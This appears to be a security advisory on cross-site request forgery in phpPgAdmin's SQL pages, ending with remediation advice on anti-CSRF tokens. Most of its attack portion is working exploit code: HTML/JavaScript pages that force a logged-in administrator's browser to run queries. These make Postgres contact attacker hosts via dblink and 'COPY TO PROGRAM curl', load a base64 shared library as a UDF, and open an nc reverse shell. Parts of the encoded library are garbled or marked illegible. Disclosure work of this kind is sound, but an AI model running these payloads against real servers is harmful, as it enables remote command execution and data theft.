

## CSRF Introduction

When a web server receives a request, the request should be validated before it initiates any action on the server. Checking the session ID or authorisation cookie is not sufficient, because these cookies are sent automatically by a user's browser even if the user did not knowingly make the request.

The SQL dashboard area within phppgadmin allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.

## Impact

By leveraging this vulnerability, an attacker might be able to gain unauthorized access to information, stored in database, execute arbitrary commands on the server, compromise the entire application and perform attacks against application users and company's infrastructure.

Multiple areas within the application is vulnerable to CSRF. One such area is the **database.php** webpage.

The vulnerability exists due to failure in the **database.php** webpage not verifying the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary system commands on the server.

The proof of concept below when visited, will send a HTTP POST request to vulnerable application and instructs the backend postgres database to make a HTTP request to an attacker-controlled server by utilising the CREATE command.

## Proof of Concept to identify if a phppgadmin instance is vulnerable through Out of Band Technique

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
  function submitRequest()
  {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://\phppgadmin.local:49161\phppgadmin\sql.php", true);
    xhr.setRequestHeader("Accept",
"text\html,application\xhtml+xml,application\xml;q=0.9,*\/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "multipart\form-data;
boundary=-----31722262731323");
    xhr.withCredentials = true;
    var body = "-----31722262731323\r\n" +
      "Content-Disposition: form-data; name=\"query\"\r\n" +
      "\r\n" +
      "CREATE EXTENSION dblink;SELECT
dblink_connect(\'host=mydatahere.b940ab686a17804777c0.d.requestbin.net user=postgres
password=password dbname=dvdrental\');\r\n" +
      "-----31722262731323\r\n" +
      "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
      "\r\n" +
      "2097152\r\n" +
      "-----31722262731323\r\n" +
      "Content-Disposition: form-data; name=\"script\"; filename=\"\"\r\n" +
      "Content-Type: application/octet-stream\r\n" +
```

```

"\r\n" +
"\r\n" +
"-----317222262731323\r\n" +
"Content-Disposition: form-data; name=\"execute\"\r\n" +
"\r\n" +
"Execute\r\n" +
"-----317222262731323\r\n" +
"Content-Disposition: form-data; name=\"server\"\r\n" +
"\r\n" +
"localhost:5432:allow\r\n" +
"-----317222262731323\r\n" +
"Content-Disposition: form-data; name=\"database\"\r\n" +
"\r\n" +
"postgres\r\n" +
"-----317222262731323--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
    <input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

```

dblink\_connect() establishes a connection to a remote PostgreSQL database. This can be used to connect to an attacker controlled server and verify the CSRF attack succeed.

## Request that gets sent from the above Proof Of Concept when executed by a victim

```
POST /phppgadmin/sql.php HTTP/1.1
Host: phppgadmin.local:49161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----31722262731323
Content-Length: 886
Origin: null
Connection: close
Cookie: PPA_ID=npk16gm33btgv8vca9a65di3s1;
webfx-tree-cookie-persistence=wfx-4+wfx-6+wfx-8+wfx-10+wfx-12
```

```
-----31722262731323
Content-Disposition: form-data; name="query"
```

```
CREATE EXTENSION dblink;SELECT
dblink_connect('host=mydatahere.b940ab686a17804777c0.d.requestbin.net user=postgres
password=password dbname=dvdrental');
-----31722262731323
Content-Disposition: form-data; name="MAX_FILE_SIZE"
```

```
2097152
-----31722262731323
Content-Disposition: form-data; name="script"; filename=""
Content-Type: application/octet-stream
```

```
-----31722262731323
```

Content-Disposition: form-data; name="execute"

Execute

-----317222262731323

Content-Disposition: form-data; name="server"

localhost:5432:allow

-----317222262731323

Content-Disposition: form-data; name="database"

postgres

-----317222262731323--

## Request

```
Raw Params Headers Hex
POST /phppgadmin/sql.php HTTP/1.1
Host: phppgadmin.local:49161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----31722262731323
Content-Length: 886
Origin: null
Connection: close
Cookie: PPA_ID=npk16gm33btgv8vca9a65di3s1;
webfx-tree-cookie-persistence=wfx-4+wfx-6+wfx-8+wfx-10+wfx-12

-----31722262731323
Content-Disposition: form-data; name="query"

CREATE EXTENSION dblink;SELECT
dblink_connect('host=mydatahere.b940ab686a17804777c0.d.requestbin.net user=postgres
password=password dbname=dvdrental');
-----31722262731323
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1097152
-----31722262731323
Content-Disposition: form-data; name="script"; filename=""
Content-Type: application/octet-stream

execute
-----31722262731323
Content-Disposition: form-data; name="server"

localhost:5432:allow
-----31722262731323
Content-Disposition: form-data; name="database"
```

## Response

```
Raw Headers Hex HTML Render
HTTP/1.1 200 OK
Date: Fri, 10 Jan 2020 23:52:00 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4018
Connection: close
Content-Type: text/html; charset=US-ASCII

<?xml version="1.0" encoding="US-ASCII"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional"
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<link rel="stylesheet" href="themes/default/global.css" type="text/css" />
<link rel="shortcut icon" href="images/themes/default/Favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="icon" type="image/png" href="images/themes/default/Introduction.png" />
<title>phpPgAdmin - Query Results</title>
</head>
<body>
<div class="topbar"><table style="width: 100%"><tr><td><span class="platform">PostgreSQL 9.1.3</span> running on <span
class="host">localhost</span><span class="port">5432</span> -- You are logged in as user &quot;<span
class="username">postgres</span>&quot;</td><td style="text-align: right"><ul class="toplink">
<li><a class="toplink" href="sqledit.php?server=localhost%3A5432%3Aallow&database=postgres&action=s
target="sqledit"
onclick="window.open('sqledit.php?server=localhost%3A5432%3Aallow&database=postgres&action=sq', 'sqledit:lo
2:allow', 'toolbar=no,width=700,height=500,resizable=yes,scrollbars=yes').focus(); return false;">SQL</a></li>
<li><a class="toplink" href="history.php?server=localhost%3A5432%3Aallow&database=postgres&action=p
onclick="window.open('history.php?server=localhost%3A5432%3Aallow&database=postgres&action=pophistory', 'his
ost:5432:allow', 'toolbar=no,width=800,height=600,resizable=yes,scrollbars=yes').focus(); return false;">History</a>
<li><a class="toplink" href="sqledit.php?server=localhost%3A5432%3Aallow&database=postgres&action=f
target="sqledit"
onclick="window.open('sqledit.php?server=localhost%3A5432%3Aallow&database=postgres&action=find', 'sqledit:l
32:allow', 'toolbar=no,width=700,height=500,resizable=yes,scrollbars=yes').focus(); return false;">Find</a></li>
<li><a class="toplink" href="servers.php?action=logout&logoutServer=localhost:5432:allow">Logout</a></li>
</ul>
</div>
```

## Steps to Reproduce

- Take the HTML proof of concept, make changes to reflect target domain where the phppgadmin instance is hosted
- Login to the vulnerable phppgadmin instance as a privileged user such as 'postgres'
- Visit the proof of concept file within the same browser to click submit to execute the CSRF attack

## Remote Code Execution

Postgres also allows a user to interact with the underlying operating system giving to the database administrator or to a malicious user, potentially a remote attacker through a SQL injection vulnerability, the possibility to execute operating system commands as well as read and write files on the file system.

The following proof of concept can be used to upload a user-defined function (UDF) in PostgreSQL and execute commands on the underlying operating system.

Note: the following proof of concept has been tailored to only execute commands on an Ubuntu 18.04 target system.

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://192.168.1.78/phppgadmin/sql.php", true);
    xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
    xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=-----297112967428312");
    xhr.withCredentials = true;
    var body = "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"query\"\r\n" +
        "\r\n" +
        "SELECT lo_create(43213);\r\n" +
        "INSERT INTO pg_largeobject (loid, pageno, data) values (43213, 0,
decode('f0VMRgIBAQAAAAAAAAAAAAAAAAAMAPgABAAAAkAUAAAAAAAAABAAAAAAAAAHAYAAAAAAAAAAAAAAAAEAAOAAHAEAAHAAbAA
```

[illegible]



[illegible]



```
9hcnJheQAUzHluYwAuZ290LnBsdAAUzGF0YQAuYnNzAC5jb2l1tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABWAAAAIAAAAAAAAAAyAEAAAAAADIAQAAAAA
ACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAALgAAPb//28CAAAAAAAAAAPABAAAAAAAA8AEAAAAAABEAAAAA
AAAMAAAAAAAAAACAAAAAAAAAAAAAAAAAADGAAAAALAAAAAgAAAAAAAAA4AGAAAAAADGCAAAAAAAAAUAFAAAAAAAEEAAAAAQ
AAAAgAAAAAAAAAGAAAAAAAAABAAAAAwAAAAIAAAAAAAAAAiMAAAAAAACIAwAAAAAALLUAAAAAAAAAAAAAAAAAAAAABAAAA
AAAAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAAD4EAAAAAAAAAPGQAAAAAAAAcAAAAAAAAAMAAAAAAAAAgAAAAAAAAC AAA
AAAAAFUAAAD+///9vAgAAAAAAAAABGBAAAAAAAAAGAEAAAAAAAAAIAAAAAAAAAEAAAAQAAAAgAAAAAAAAAAAAAAAAAAAAABkAAA
ABAAAAIIAAAAAAAAAGAQAAAAAACABAAAAAAAAAKgAAAAAAAAAwAAAAAIIAAAAAAAAABGAAAAAAAAbgAAAAQAAABC AA
AAAAAACGfFAAAAAAAAAKAUAAAAAAAAAYAAAAAAAAAMAAAVAAAACAAATAAAAAAYAAAAAAAAAHgAAAABAAAABGAAAAAAAABAB
QAAAAAAEFFAAAAAAAFfwAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAABZAaaaaQAAAAyAAAAAAAAAYAUAAAAABG
BQAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAfGAAAAEAAAAGAAAAAAAAI AFAAAAAAAgAUAAAAAA
IAAAAAAAAAAAAAAAAAACAATAAAAAIAAAAAAAAAICAAAABAaaABGAAAAAAAAACQBQAAAAAJAFAAAAAAHgEAAAAAA
AAAAAAAAAABAAAAAAAAAAAAAAAAAAAAACNAaaaQAAAYAAAAAAAAAsAYAAAAAACWBgAAAAAAakAAAAAAAAAAAAAAAA
AAEAAAAAAAAAAAAAAAAAAAAkwAAAAEAaaACAAAAAAMAGAaaaaawAYAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAA
AAAAAAAAAAAAAJsaAABAAAAAgAAAAAADGBgAAAAAOAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAA
AAACpAAAAAQAAAIIAAAAAAGAcAAAAAAAYBWAAAAAALwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAswAAAA
4AAADAAAAAAAAABAoIAAAAAAEA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAIAAAAAAAl8AAAPAAAAAWAA
AAAAAYDiAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAagAAAAAACAAAAAADLAAAABGAaaMAAAAAAAAIA4g
AAAAAAAgDgAAAAAAMABAAAAAAAAABAAAAAAAAIAAAAAAAAAABAAAAAAAAAggAAAEAAADAAAAAAAAAoAPIAAAAAA4A8
AAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAIAAAAAANQAAAABAAAAAwAAAAAAAAAECAAAAAAAAAQAAAAAAIA
AAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAACAAAAAADdAAAAQAAAMAAAAAAAAIBAgAAAAAAgEAAAAAAAAAgAAAAAA
AAAAAAAAIAAAAAAAAAAAAAAAAAAAAA4wAAAgAAADAAAAAAAAACgQIAAAAAAKBAAAAAAAAIAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAogAAABAAAMAAAAAAAAAAAAAAAAAAAAACgQAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAEAAAAAA
AAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAABQEAAAAAAFGFAAAAAAAAAGgAAACwAAAAIAAAAAAAABGAAAAAA
AACQAAAMAAAAAAAAAAAAAAAAAAAAAAqBUAAAAAADUAQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAABEAAAADA
AAAAAAAAAAAAAAAAAAAAAAHwXAAAAAAAAA8QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=\',
\'base64\'));\r\n" +
    "SELECT lo_export(43213, \'/tmp/pg_exec.so\');\r\n" +
    "CREATE FUNCTION sys(cstring) RETURNS int AS \'/tmp/pg_exec.so\', \'pg_exec\'
LANGUAGE \'c\' STRICT;\r\n" +
    "SELECT sys(\'mknod /tmp/backpipe p\');\r\n"
```

```

        "SELECT sys(\'/bin/sh 0\x3c/tmp/backpipe | nc 192.168.1.81 80
1\x3e/tmp/backpipe\');\r\n" +
        "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
        "\r\n" +
        "2097152\r\n" +
        "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"script\"; filename=\"\"\r\n" +
        "Content-Type: application/octet-stream\r\n" +
        "\r\n" +
        "\r\n" +
        "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"execute\"\r\n" +
        "\r\n" +
        "Execute\r\n" +
        "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"server\"\r\n" +
        "\r\n" +
        "localhost:5432:allow\r\n" +
        "-----297112967428312\r\n" +
        "Content-Disposition: form-data; name=\"database\"\r\n" +
        "\r\n" +
        "postgres\r\n" +
        "-----297112967428312--\r\n";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
}
</script>
<form action="#">

```

```
        <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
</body>
</html>
CSRF 2
```

The following request was also found to be vulnerable to CSRF.

```
POST /phpad/sql.php HTTP/1.1
Host: 192.168.1.82
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Cookie: PPA_ID=hpgneejqaotogcv6ib6lv9ajpb;
webfx-tree-cookie-persistence=wfx-4+wfx-6+wfx-8+wfx-10+wfx-12
Connection: close

server=localhost%3A5432%3Aallow&database=&search_path=public&query=copy+%28select+%27%27%29+to+
program+%27curl+http%3A%2F%2Fjobo9rr2vb8jb48i6jge9vy9c0iq6f.burpcollaborator.net%27
```

## Remediation

To ensure that all requests originate from the user knowingly interacting with the application, each request to a sensitive function should include a single-use authentication token. Such tokens are normally included on each page in a hidden form field, which

would be included in the request when the form is submitted. The server keeps a copy of the token valid for the user's session, and checks if the two values match after receiving the request.

The tokens often consist of twenty or more random characters, an example of which is given below.

8D086769FC4B3B058F7FCB0BB37645BA77444AFA

Further Information

\* [https://www.owasp.org/index.php/Cross-Site\\_Request\\_Forgery\\_\(CSRF\)\\_Prevention\\_Cheat\\_Sheet](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)